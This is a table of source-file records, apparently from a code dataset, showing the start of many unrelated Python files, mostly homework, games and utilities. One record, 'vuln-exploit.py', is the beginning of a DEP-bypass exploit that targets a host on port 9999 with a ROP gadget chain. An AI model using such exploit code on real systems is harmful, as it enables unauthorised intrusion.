blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
24fee577c01fbd41cd14296cf06baa7ff9dd8694 | 76e62ddbfdfba19c80b37e855a4df67672ef0808 | /IVTa/2014/ALEKSEEV_I_S/task_12_50.py | ab19443ceba4961fb2b12b4689e1e91a89688863 | [
"Apache-2.0"
] | permissive | stasvorosh/pythonintask | 9d30f3cd492e89783b7221402375c1ebe4690baa | 8169ed26510022fe0d589f4013f11749131957df | refs/heads/master | 2021-01-17T16:49:32.778063 | 2016-10-10T14:08:04 | 2016-10-10T14:08:04 | 52,255,539 | 6 | 0 | null | 2016-02-22T07:33:16 | 2016-02-22T07:33:15 | null | UTF-8 | Python | false | false | 1,942 | py | # Задача 12. Вариант 50
# Разработайте игру "Крестики-нолики".
#(см. М.Доусон Программируем на Python гл. 6).
# Alekseev I.S.
# 20.05.2016
board = list(range(1,10))
def draw_board(board):
print("-------------")
for i in range(3):
print( "|", board[0+i*3], "|", board[1+i*3], "|", board[2+i*3], "|")
... | [
"stasyan.v@gmail.com"
] | stasyan.v@gmail.com |
1c6ec5e12756ecc29077f3f01b983030eff99532 | 6dc0b1cc7d71282d40442fcdbc2da3ddd1a2741c | /euler12.py | ef774b66c3cd21a3a0a923d0a642b18a0d83b013 | [] | no_license | geomaar/euler | 3e90266d61caf7186d5712a34b56393835e5014c | b5cb179bf364377d73eedc1f2faa7e9656ec1a32 | refs/heads/master | 2021-07-16T11:34:52.701815 | 2020-05-08T07:02:02 | 2020-05-08T07:02:02 | 140,162,583 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,094 | py | """
The sequence of triangle numbers is generated by adding the natural numbers.
So the 7th triangle number would be 1 + 2 + 3 + 4 + 5 + 6 + 7 = 28. The first ten terms would be:
1, 3, 6, 10, 15, 21, 28, 36, 45, 55, ...
Let us list the factors of the first seven triangle numbers:
1: 1
3: 1,3
6: 1,2,3,6
10: 1,2,5... | [
"geomar1604@gmail.com"
] | geomar1604@gmail.com |
c5cdc05662517cb67c96e2d100a03b57623b7e4d | 3767cbf415bcd2abfa8fe042e80c1257f574f7b7 | /venv/Lib/site-packages/yahooquery/login.py | e2c4b86e37e435d5c7612ad81a1b33758f189241 | [] | no_license | MarvinBerroth/BrechungWebseite | 917cd0b5d8063d370ba76c848d3ade54a3ae8657 | acf66805854faf647d36b19cf1ec7a6e9e15ed0c | refs/heads/master | 2022-11-20T14:42:37.342356 | 2020-07-26T08:42:13 | 2020-07-26T08:42:13 | 282,609,992 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,831 | py | import random
import re
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException, TimeoutException
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait
from yahooquery.ut... | [
"opligator@gmx.de"
] | opligator@gmx.de |
7b0bcadabf32679b8aca305aad0f143c7aeebb20 | 20e20d04d94f6e7c585d0a8a4db4e348248ffa3a | /models/sphericalunet/python_scripts_for_filters_orders/matlab_equivalent_functions.py | 79b973b7b7d62b652a0b136e7fc99c4a8155d949 | [] | no_license | Abdulah-Fawaz/Benchmarking | f49f5f6c6c7f90728f6033d2c6cbddae5873a77d | 660e6a149e63ad1935f59f4086179033545b6cfc | refs/heads/main | 2023-06-10T23:53:44.203443 | 2021-06-28T10:03:07 | 2021-06-28T10:03:07 | 325,784,384 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,253 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Jan 20 12:23:37 2020
@author: fa19
"""
import numpy as np
import scipy.io as sio
def ismember(a_vec, b_vec):
""" MATLAB equivalent ismember function """
bool_ind = np.isin(a_vec,b_vec)
common = a[bool_ind]
common_unique, common_inv = n... | [
"abdulah.fawaz@kcl.ac.uk"
] | abdulah.fawaz@kcl.ac.uk |
5a39161daf1b0158febc6f1084a130433c1c9944 | bffd457e17dc250c81d7bd9e25c20a483f1a1ed5 | /pandatools/demo_hw.py | 609861d6783d01829e0f12b67428d2acf0459b39 | [] | no_license | Harzva/gigavision | 3121f183b8cfc66f9c89f4afe1bd0bdf1c1fe104 | 1fb1ad9b9d5aac6c18dc83184a52c484964be7fb | refs/heads/master | 2023-02-20T10:34:21.735085 | 2021-01-24T10:07:30 | 2021-01-24T10:07:30 | 332,416,570 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 5,892 | py |
import json
import cv2
import numpy as np
import os
# basepath="/root/data/gvision/dataset/train_all_annos/s0.3_t0.7_all"
# load_path="/root/data/gvision/dataset/output/my_pv_train/my_inference/coco_pv_inference_results.json"
# load_path_coco="/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_annos/person_bbox... | [
"562282219@qq.com"
] | 562282219@qq.com |
7414a3344bd9844815f43d989415859019d11893 | ac9dfc9a0f4da6f8dbd83da5f54c82a70b7ea889 | /beerRating/mysite/mysite/urls.py | 11726416a3f6c0d23482c4a4dd7e968c99812207 | [] | no_license | uditabose/BeerReco | ec2d33e1ad6760f3702f33d9d4e821e4dd85d1f9 | c7842ca37c9ecb043f925e1f6422f190965211b2 | refs/heads/master | 2021-01-22T14:39:36.517590 | 2014-12-17T22:46:50 | 2014-12-17T22:46:50 | 25,410,739 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 522 | py | from django.conf.urls import patterns, include, url
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
# Examples:
url(r'^$', 'beerratings.views.home', name='home'),
#fav_beer
url(r'^fav_beer', 'beerratings.views.fav_beer', name='fav_beer'),
#beer_name
url(r'^b... | [
"ng1181@nyu.edu"
] | ng1181@nyu.edu |
a89d56757bfd42087fda815af34b4f33a00edbf7 | d776cb04cf0b48db7415dfc70937d2a454c541e8 | /wifi_qr_maker.py | 08a9ca3c4b5c5088ecd9fb123758db2298f8a328 | [] | no_license | ahn1305/wifi-qrcode-generator | 730059c241af6fceba8b0c84fa1d96b80f15b708 | a61337f442776e827e1f464563bce2320c8bb46a | refs/heads/main | 2023-02-03T15:57:33.909138 | 2020-12-20T16:27:03 | 2020-12-20T16:27:03 | 323,114,520 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,083 | py | """
share on twitter
share on facebook
share on Linkedin
share on Reddit
share on Hacker
Share
Creating 3D Printed WiFi Access QR Codes with Python
Eric J. Ma
Eric J. Ma
September 1, 2018
Summary
Over the weekend, I embarked on a project to create a 3D printed QR code that guests at our house could scan to gain acces... | [
"ahnashwin1305@gmail.com"
] | ahnashwin1305@gmail.com |
b02c460e1b65ec1f6449fb8e36f7673d4afd372f | 0ae17b7bf245652588e9b59a2c526f27c0511418 | /process_poi_data.py | c3bee421d31a6ba89953b51d348eb85b22681b5d | [] | no_license | pdeepthi97/Crime-and-Parking-Violation-Prediction-in-DC-City | 1c89572d8c988ebf8fca581f29763f851e253f06 | 80974444d61763ec182e135b3bc6a3ff5cb59ad2 | refs/heads/master | 2020-07-25T00:33:57.009399 | 2019-09-12T17:00:16 | 2019-09-12T17:00:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 990 | py | import pickle
import numpy as np
n_rows = 5
n_cols = 5
crime_data = pickle.load(open('../../data/crime.pkl','rb'))
lats = [i[-2] for i in crime_data]
longs = [i[-1] for i in crime_data]
min_lat, max_lat = min(lats), max(lats)
min_long, max_long = min(longs), max(longs)
lat_spacing = (max_lat-min_lat)/n_rows
... | [
"noreply@github.com"
] | noreply@github.com |
64c70dd86f77fb4552b6dc029abf9caa63347cf4 | ab309995687533cb8aa7cb8c28a875376adf5535 | /venv/bin/wheel | 81a1ad247014c966dd4dfecd89358fe100e94587 | [] | no_license | ImcloudBigData/Cloudera_impala_sentry_ha | 50a26384b946e88f5e6a6095ce8a8e7af28bb000 | 08c651eee6ae8ad83850039388e2a447667028a4 | refs/heads/master | 2020-05-20T19:46:04.528702 | 2017-03-20T08:26:46 | 2017-03-20T08:26:46 | 84,514,661 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 246 | #!/home/hadoop/Download/python_test/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from wheel.tool import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"paranmul@gmail.com"
] | paranmul@gmail.com | |
cc3e3cf382f0a574ed0e8824169452e98c040833 | 994db80a654a51aad0b81c73edde2a382105c355 | /Codesforces_GoodString.py | ef67510729b6b39adb6afa793316e0887b7d624f | [] | no_license | mxzgit/chalenges-code | c21a6580e2214988137de8c2e3a24aaf5ad5fd22 | a0e7ccd35d5de0130811b7d2d53c5a9d242c2e9c | refs/heads/master | 2022-12-22T21:05:25.132037 | 2020-09-29T10:13:30 | 2020-09-29T10:13:30 | 175,007,217 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 854 | py | def isGoodString(input):
if len(input) == 2 :
return True
elif (input[1:]+input[0]) == (input[-1]+input[0:-1]):
return True
else:
return False
def main():
n = int(input())
for _ in range(n):
dict_visited = {}
input_char = input()
dict_vi... | [
"mehdi.zarria@dcube.fr"
] | mehdi.zarria@dcube.fr |
2c66b48835b0ad1374e56f7490c406b99c1c3f4e | 83534233897a52087f3758706a63f0c1cf46e79e | /strings/165_CompareVersions.py | 34460b8a3003fcac1fb9c22b15bb2a7b27f50e94 | [] | no_license | Jayesh97/programmming | 2a2bf1af5689e421774a40b0f1db5f123722f603 | 2b68a9a863207061d44dc50e0fd533e28eb2e010 | refs/heads/master | 2020-04-29T15:10:12.371878 | 2020-01-15T22:32:30 | 2020-01-15T22:32:30 | 176,219,531 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 358 | py | version1 = "01"
version2 = "1"
def version(version1,version2):
v1,v2 = (map(int,v.split('.')) for v in (version1,version2))
v1 ,v2= [i for i in v1],[j for j in v2]
#print(v1,v2)
d = len(v2)-len(v1)
if v1+[0]*d>v2+[0]*-d:
return 1
elif v1+[0]*d==v2+[0]*-d:
return 0
return -1
... | [
"jayesh5397@gmail.com"
] | jayesh5397@gmail.com |
047a539cb30cb12b1dd729b88e0e248745f3292f | 1956741bdd19b119e70429ad4f02343949b20423 | /week2-python/assignment2/assignment2-ruoxi.py | 207bc23614e493a412d75dfb81ec9b907906b800 | [
"Apache-2.0"
] | permissive | wsy-239/2021-march-bootcamp | 9f59975d925bb6e75b6085398d6305b86cfc3f37 | 5b01333897ef78432b08c677fd14e9aad90d469f | refs/heads/main | 2023-04-28T04:49:34.801681 | 2021-05-19T14:54:24 | 2021-05-19T14:54:24 | 352,113,345 | 1 | 0 | Apache-2.0 | 2021-05-19T14:54:25 | 2021-03-27T15:53:52 | Jupyter Notebook | UTF-8 | Python | false | false | 3,687 | py | # Instruction: make sure your code pass the assertion statements
# Q1. Given a positive integer N. The task is to write a Python program to check if the number is prime or not.
def is_prime(n: int) -> bool:
return n >= 1 and (0 not in (n%i for i in range(2,n)))
# DO NOT ALTER BELOW.
assert is_prime(2)
ass... | [
"noreply@github.com"
] | noreply@github.com |
9de5bd6b1e333c6f5b44a260ca9ac737f56409db | dddd0cf10c28165e1e3409f882874d0371791328 | /Assignment2/parse.py | 1de40673aea8c84d8e7610bec76869dbe5df8c08 | [] | no_license | hardik-kgp/Networks_Lab_CS39006 | 3ddd07c38e0e19750991ad81c0c795f04e4d434c | c2e790d47c7c715a06be950f148b62f34c03a835 | refs/heads/master | 2023-04-13T22:29:59.590908 | 2021-04-13T10:33:10 | 2021-04-13T10:33:10 | 339,812,216 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,547 | py | """
Sriyash Poddar 18CS30040
Networks Lab Assignment-2
"""
import os
import sys
import csv
from xml.etree import ElementTree
from geolite2 import geolite2
from collections import Counter
"""
Requirements:
- install maxminddb-geolite2, using pip installl maxminddb-geolite2
Run:
- python3 parse.py <PATH TO XML FILE>
... | [
"poddarsriyash@gmail.com"
] | poddarsriyash@gmail.com |
b658f62a4b118bacd3312b29a0c87eda5b529c72 | a22d23e38478c242f6ec971f9b3d23442804ad20 | /wavenet/model/layers.py | 550ddcf1d8c3f1d79681a228769a81383cd291fe | [
"MIT"
] | permissive | isadrtdinov/wavenet | 04fc7886237931232a76972af16982cdf6bb832f | fcd2ccc70ca41b6d2b12964edd7dc44e835f39d1 | refs/heads/main | 2023-02-05T06:13:39.458337 | 2020-12-08T09:15:48 | 2020-12-08T09:15:48 | 318,243,750 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,044 | py | import torch
from torch import nn
from ..utils.utils import init_xavier
class CausalConv1d(nn.Module):
def __init__(self, in_channels, out_channels, kernel, dilation=1):
super().__init__()
self.padding = dilation * (kernel - 1)
self.conv = nn.Conv1d(in_channels, out_channels, kernel_size=k... | [
"ildussadrtdinov@MacBook-Pro-Ildus.local"
] | ildussadrtdinov@MacBook-Pro-Ildus.local |
12d5f4f4f5388db362039d8b69d87d58c01b491d | e1c2a28c6af9e97d65d4bc735ab810e19fd848d6 | /nsApp/order/migrations/0001_initial.py | 16db1297c28c16e5d9f9fae9be5b1c8bdfdb2558 | [] | no_license | pablo8/udemyCertification | c24208109481bde0e361dbad14369d60f59c6b95 | 70c35aa8baab6f442c8247d0cf13764af1514634 | refs/heads/master | 2023-03-21T17:43:09.316789 | 2021-03-09T20:51:31 | 2021-03-09T20:51:31 | 342,734,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 574 | py | # Generated by Django 3.0.4 on 2021-03-09 20:13
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Order',
fields=[
('id', models.AutoField(au... | [
"pablom.ochoteco@gmail.com"
] | pablom.ochoteco@gmail.com |
a401777b12b090747c8ee015caea1943c91be7f9 | b2327e8dc8316999dddbc9c1b16e11b136dadcfa | /study/GUI/坦克大战/tank07.py | ad7f7d7ae9bb0e0bd9361a6f7cbb9c3d5d917e38 | [] | no_license | Nidhogglin/Python | 266fa7119e91a102d1bb42275141390f61f721a5 | dacc6e9247da8f7e0f432f958a3e08596f931e1c | refs/heads/master | 2023-03-13T00:10:50.496494 | 2021-03-05T12:55:01 | 2021-03-05T12:55:01 | 287,876,393 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,124 | py | # coding: utf-8
"""
坦克大战GUI
新增功能
新增子弹类
展示子弹
"""
import pygame
import time
import random
WIN_WIDTH = 1000
WIN_HEIGHT = 600
BG_COLOR = pygame.Color(0, 0, 0)
TEXT_COLOR = pygame.Color(255, 0, 0)
class MainGame(object):
window = None
myTank = None
# 创建敌方坦克列表
enemyTankList = []
# 设置敌方坦克数... | [
"191490681@qq.com"
] | 191490681@qq.com |
9de330f17b13e8904e931fa6a372dc2505a2b66c | 1e08f6b6c54c0b9c3196e69c2b4e3ea0c2181425 | /ROP_DEP/vuln-exploit.py | 60d7a50006068d7d7dbf63abf03a48837b20c6cb | [] | no_license | fahrishb/Exploits | 623e08e5b5daf1cdad1b72daa43f7b71ecc79624 | d2b496a6393d193bedd5a468af2a1869a8a8546b | refs/heads/master | 2022-12-29T11:10:13.107889 | 2020-09-26T13:52:01 | 2020-09-26T13:52:01 | 294,908,175 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,751 | py | #!/usr/bin/python
import socket,sys,struct
host="172.16.208.155"
port=9999
def create_rop_chain():
rop_gadgets = [
0x62501022, # RETN
# ROP Gadget for ECX
0x77eb78a1, # PUSH ESP | POP EBP| RETN0x4
0x7c80aee4, # XCHG EAX,EBP
0xDEADBEEF, # dummy
0x77c14001, # XCHG EAX,ECX # RETN
# ROP Gadget for EDX
0x77c58f... | [
"fahri.s@go-jek.com"
] | fahri.s@go-jek.com |
5b16838f7738066acc758925a08dd0269a8023de | 327cff45b693219e8c22de7ee2f9dbcf63864886 | /tor/wsgi.py | 9084ea15e5b150c0c8edd462f69d88d8bd1de4dd | [] | no_license | y3401/InfoTor-Django | 0fc4c9073f5f6b846ae6509fbc8947e984a52213 | 30ecde775da1981f593d667b738d84a8654edc90 | refs/heads/master | 2021-01-19T08:43:39.256882 | 2017-04-08T22:14:21 | 2017-04-08T22:14:21 | 87,666,372 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 399 | py | """
WSGI config for tor project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJA... | [
"noreply@github.com"
] | noreply@github.com |
29b17d3599f29fa1f3078e6b2972c963b20cc0d2 | 8e8e54c75c2a47ba843c1a2a8f0a90bb339bf652 | /multi_proc_single_gpu.py | 47a7886b40a3cee18305267eea9a298aeaa4ce17 | [] | no_license | flybirdtian/pytorch_distributed_mnist | 35931c01b8dd678622ae824c59ff25644807e240 | a9ac0e7054596dc3320c26ed71cdbc12b06fdbeb | refs/heads/master | 2020-11-26T23:18:24.441652 | 2019-12-21T14:25:15 | 2019-12-21T14:25:15 | 229,228,210 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,959 | py | from __future__ import division, print_function
import argparse
import random
import time
import warnings
import os
import shutil
import torch
import torch.nn as nn
import torch.backends.cudnn as cudnn
import torch.distributed as dist
import torch.nn.functional as F
from torch.utils import data
from torchvision impor... | [
"flybirdtian@gmail.com"
] | flybirdtian@gmail.com |
e9ba92129872e0d13f11431b27dc4add97235c07 | 780248577cce89580816cb57101c86ea2e6fb897 | /venv/Lib/site-packages/analytics/test/client.py | ca307617ebe6c5165262ed3a09b1e91470229299 | [] | no_license | Griffin-MX/Gradio-Project-demo | eb2d3e43875968080cd8647cfe791bac03a2e74a | ac9da4efbe96d896cde640d18594fcb627a90acf | refs/heads/master | 2023-06-04T17:04:03.100282 | 2021-06-24T07:08:08 | 2021-06-24T07:08:08 | 379,833,683 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,138 | py | from datetime import date, datetime
import unittest
import time
import six
import mock
from analytics.version import VERSION
from analytics.client import Client
class TestClient(unittest.TestCase):
def fail(self, e, batch):
"""Mark the failure handler"""
self.failed = True
def setUp(self):
... | [
"1123306966@qq.com"
] | 1123306966@qq.com |
d74a7b8a8e2ea23d2b2855097c8f985640ed438f | 2fac796fa58c67fb5a4a95a6e7f28cbef169318b | /python/copy-books.py | 2e512fdb8dea53102e37f2f032524d38ae208b24 | [] | no_license | jwyx3/practices | f3fe087432e79c8e34f3af3a78dd10278b66dd38 | 6fec95b9b4d735727160905e754a698513bfb7d8 | refs/heads/master | 2021-03-12T20:41:59.816448 | 2019-04-14T06:47:30 | 2019-04-14T06:47:30 | 18,814,777 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,261 | py | class Solution:
# @param pages: a list of integers
# @param k: an integer
# @return: an integer
def copyBooks(self, pages, k):
# can k persons copy books within x minutes
def check(x):
total, kt = 0, 0
for p in pages:
# current person cannot copy a... | [
"jwyx88003@gmail.com"
] | jwyx88003@gmail.com |
5cf8ee84ad428b07657c9784b560dc3bcf286892 | b36265bbf58a512c1c500265ab56f218c703dec2 | /hw_1_3.py | c5e06c73081dc9e29925dfdec518c69f1c4a9f3b | [] | no_license | Colas89/itea_homework | dbb459540e9684a2c6ed7dda0b9e3c2c4b5a1e60 | 2aeb6628d7efe90e44c72884bcb77659d0ba50dc | refs/heads/master | 2020-04-07T13:34:34.673128 | 2018-12-17T14:46:02 | 2018-12-17T14:46:02 | 158,412,661 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,039 | py | # coding=utf-8
string_1 = float(input('Введите число: '))
print('1. ', int(string_1))
print('2. ', float(string_1))
print('3. ', str(string_1))
print('4. ', bool(string_1))
print('------------------')
string_2 = float(input('Введите второе число: '))
print(int(string_1) + string_2)
print(int(string_1) * st... | [
"noreply@github.com"
] | noreply@github.com |
d886d26b414fdaedf9eca350eeda034264ba507b | 3db11a20dc93717a00d3ca71f8448865e1b82bc5 | /Bioinfo_Contest_2021/QualP1_EpiMarks.py | 8af856c2f5b6e375ac1f0ed97df9c4943534e40c | [] | no_license | Jihong-Tang/ROSALAND_problems | 6281cc898dc7d136502a01df678ab8eecf11eef2 | d7adb299484f89496c9c68c89e8cf4f1a6da8748 | refs/heads/main | 2023-06-02T02:33:32.178527 | 2021-06-18T08:47:23 | 2021-06-18T08:47:23 | 370,893,721 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | import sys
def EpicMarker(num, input):
res = []
for i in range(num):
res.append(MarkerSearch())
if __name__ == '__main__':
if len(sys.argv) == 2:
filename = sys.argv[1]
else:
filename = './dataset/QualP1_test.txt'
with open(filename) as f:
lines = f.read().split... | [
"njutangjihong@gmail.com"
] | njutangjihong@gmail.com |
b8699ea636a2cf7a3d18e2a7d4b19c22a72ea924 | af3eb8840f55a1d4c96387d54744f081ab682f48 | /GUI-ttk-examples.py | 1b654e151f361c86c91fa5957b3b07e672e65501 | [] | no_license | neoxis/python-experiments | 6d47c5ce7f270906b4fa806eb91f453975934444 | 3986ef38ad7877fc084ea0ab2f3b48457271d59b | refs/heads/master | 2021-01-25T01:21:33.400471 | 2018-11-11T23:57:50 | 2018-11-11T23:57:50 | 123,308,696 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,255 | py | from tkinter import *
from tkinter.ttk import * #combobox library
from tkinter import scrolledtext #scolled text library
from tkinter import messagebox #message box library
#button functions#
def clicked():
txt.delete(1.0, END)
def mes():
'''Example 1 - show info '''
... | [
"bstiff@iastate.edu"
] | bstiff@iastate.edu |
3b9a76375c6dfbd704dd1c9624b6dd3c16797ede | 6d7ba0efc4fb27de3829f1d035ccf946d79a9725 | /pythonbasics/email_example.py | 0d6b33fdd1aea233a6bf5faf97ec8d9542f27398 | [] | no_license | Dante4109/BeautifulSoupPractice | ec09414f8235f137310e42e635208442e1374198 | efa1840cc2d49cf1ef68ff588e394a78421a0ef8 | refs/heads/master | 2023-06-08T14:09:51.838846 | 2021-06-29T04:38:25 | 2021-06-29T04:38:25 | 378,469,244 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 775 | py | import imaplib
import time
IMAP_SERVER = 'imap.gmail.com'
USERNAME = 'smtpsender4109@gmail.com'
PASSWORD = 'TOSS#2017'
def download_emails(ids):
client = imaplib.IMAP4_SSL(IMAP_SERVER)
client.login(USERNAME, PASSWORD)
client.select()
for i in ids:
print(f'Downloading mail id: {i.decode()}')
... | [
"rogerjohnmorellizeller@gmail.com"
] | rogerjohnmorellizeller@gmail.com |
efb33ff5118ea59e8f03ce2f6a514284d93c1c1f | 7d9728510c516b5cea863e931ccc5360b8200611 | /APCS_20201107_HW2.py | 960a200f84ad90b03f1f7abff8b63971422d4c94 | [] | no_license | CHENG-KH/Python | 3a01b49e39877c95611aa7a5d8486a1a215a2acf | 0a6c40763497eea09ca9a1c65cf6c24f4b18fc6b | refs/heads/master | 2023-03-11T14:32:02.804488 | 2021-03-04T13:03:14 | 2021-03-04T13:03:14 | 291,944,180 | 0 | 0 | null | 2021-01-30T12:36:19 | 2020-09-01T08:41:38 | Python | UTF-8 | Python | false | false | 814 | py | a = [int(num) for num in input("請輸入你的三個幸運數字").split()]
b = [int(num) for num in input("請輸入你的五個號碼區號碼").split()]
c = [int(num) for num in input("請輸入你的五個號碼相對應的金額你的五個號碼相對應的金額").split()]
# correct_num = list()
bonus = ()
# for a in x:
if a[0] and a[1] and a[2] in b:
# correct_num.append(a[0])
# correct_num.append(a[... | [
"noreply@github.com"
] | noreply@github.com |
bc665f583a10f65731382232186ceba08c47f3bc | 7a21986fecf560d6ce9e4b29391112a891039416 | /tests/test_routing_api.py | ee5c21cf6b42437f971e410a099908df1a8ba4d1 | [
"MIT"
] | permissive | HTenkanen/HerePy | 8048d96406ea966e769e81fb06dc96502a2dd3c7 | d20690b79f70e90faaecd59307c9c66bb355e9da | refs/heads/master | 2020-06-03T22:54:58.430817 | 2019-06-13T14:16:16 | 2019-06-13T14:16:16 | 191,765,172 | 0 | 0 | null | 2019-06-13T13:08:47 | 2019-06-13T13:08:47 | null | UTF-8 | Python | false | false | 11,305 | py | #!/usr/bin/env python
import os
import sys
import unittest
import responses
import codecs
import herepy
class RoutingApiTest(unittest.TestCase):
def setUp(self):
api = herepy.RoutingApi('app_id', 'app_code')
self._api = api
def test_initiation(self):
self.assertIsInstance(self._api, ... | [
"abdullahselek@gmail.com"
] | abdullahselek@gmail.com |
6b6d9fc3204f4ce172fc2da5ecfbfcbcfd7094c9 | 4b028a9d655a9b25757a58708f030afee909c689 | /tests/fast_tests/test_environments.py | 62c41c0c013f7dd0e1f45db84e10cdd886acd8f0 | [
"MIT"
] | permissive | MouvementMondial/flow | 3316f25349d5ddea255732f145f394768cb90f43 | 3776951824937a0c8f36670d14d8bc6b338d8fe6 | refs/heads/master | 2020-04-22T21:00:55.560454 | 2019-02-19T11:20:41 | 2019-02-19T11:20:41 | 170,659,496 | 0 | 0 | null | 2019-02-14T08:57:11 | 2019-02-14T08:57:11 | null | UTF-8 | Python | false | false | 30,599 | py | import random
import numpy as np
import unittest
import os
from scipy.optimize import fsolve
from copy import deepcopy
from flow.core.params import VehicleParams
from flow.core.params import NetParams, EnvParams, SumoParams, InFlows
from flow.controllers import IDMController, RLController
from flow.scenarios import Loo... | [
"akreidieh@gmail.com"
] | akreidieh@gmail.com |
a239da2a28d651dee80f6dcff8f92a3542904051 | 6af14e3b67abee885acc689c156c3ac331c15af7 | /materialsgen.py | 5d472e3e69d85bdbfb1bc6a359d06dd6254f2d14 | [
"BSD-3-Clause"
] | permissive | jhchance/UE4HmapsGenerator | 14b52c966b873c3ba661d63d4c831a9664ea4948 | e69f96be09ecc3b566f31fef668ed60ca01c4a22 | refs/heads/main | 2023-03-17T14:38:41.793466 | 2021-03-03T07:09:25 | 2021-03-03T07:09:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,890 | py | # SPDX-License-Identifier: BSD-3-Clause
# Rodrigo Nascimento Hernandez
import unreal
import os
import pathlib
inputdir = r'D:\MA\GIS\UE4\kingsvalley\customtiles' # Enter directory where tiled texture files are stored
asset_path = '/Game'
material_dir = '/landsmaterials'
# Change to your Texture scale calculated by sr... | [
"rodrigo.freebsd@minasambiente.com.br"
] | rodrigo.freebsd@minasambiente.com.br |
a8169631189bf3f1480256f94a7231da33f7d591 | d16c72050a95be1da1f55151c102fd2b34e86e18 | /e024.py | 0ec96aeb399b0cf5bfefaf88d947b7a55d8b29fb | [] | no_license | PipsVazquez/PythonExamplebyExampel | 0f3baf3d255507982c1ca3dd253666db5fad88b6 | dc13c8306115a0926744e81a0080af6f92d07401 | refs/heads/master | 2023-01-28T05:22:20.663949 | 2020-12-11T15:16:51 | 2020-12-11T15:16:51 | 320,424,634 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 166 | py | #Ask the user to type in any word and display it in
#upper case.
print('Enter any word you want!:')
any_word = input()
any_word = any_word.upper()
print(any_word)
| [
"jfvb_2192@hotmail.com"
] | jfvb_2192@hotmail.com |
d5e0ab59c72cd2d797a63c80de7256b3da04dae3 | 53569934093382a87971068a1f9b1c195ec1386f | /max_width.py | 79c57656bfcb10eaf8920ac26a109f46f2c82e60 | [] | no_license | MathieuVavrille/cdd | caa6384e0cb2f03c1d190e77d9575c53637f07c9 | c2fb22a23a68beeaf58f6cdfcb576861e5d265db | refs/heads/master | 2020-06-01T01:54:41.295037 | 2019-06-06T15:39:49 | 2019-06-06T15:39:49 | 190,585,778 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 218 | py | for n in range(1,100):
current_max = -1
new_max = 0
i = 0
while current_max < new_max:
current_max = new_max
new_max = min(2**(n-i), 2**(2**i)-1)
i += 1
print(n,current_max)
| [
"mathieu.vavrille@gmail.com"
] | mathieu.vavrille@gmail.com |
78dccc2f78262f8223d0c69e20aa6f492f78427d | a036d2c0e157c68fb8946357b348d41186763488 | /Questionario2/03.py | 4a60f917964e0c9ca43ba6dd2303a862adb317a7 | [] | no_license | BomDia12/EstruturasDeDados | 6f3bec4be7f2df0816f91cb707258b9adf1ab115 | edee509cc49358f8b60a731fc316d340b62e8c12 | refs/heads/master | 2023-04-23T20:14:49.906054 | 2021-05-16T17:07:43 | 2021-05-16T17:07:43 | 340,910,505 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 193 | py | import math as m
size, period = map(int, input().split())
lst = [int(i) for i in input().split()]
for i in range(period, len(lst) + 1, 1):
print(m.floor(sum(lst[i - period:i]) / period))
| [
"chamatico2@gmail.com"
] | chamatico2@gmail.com |
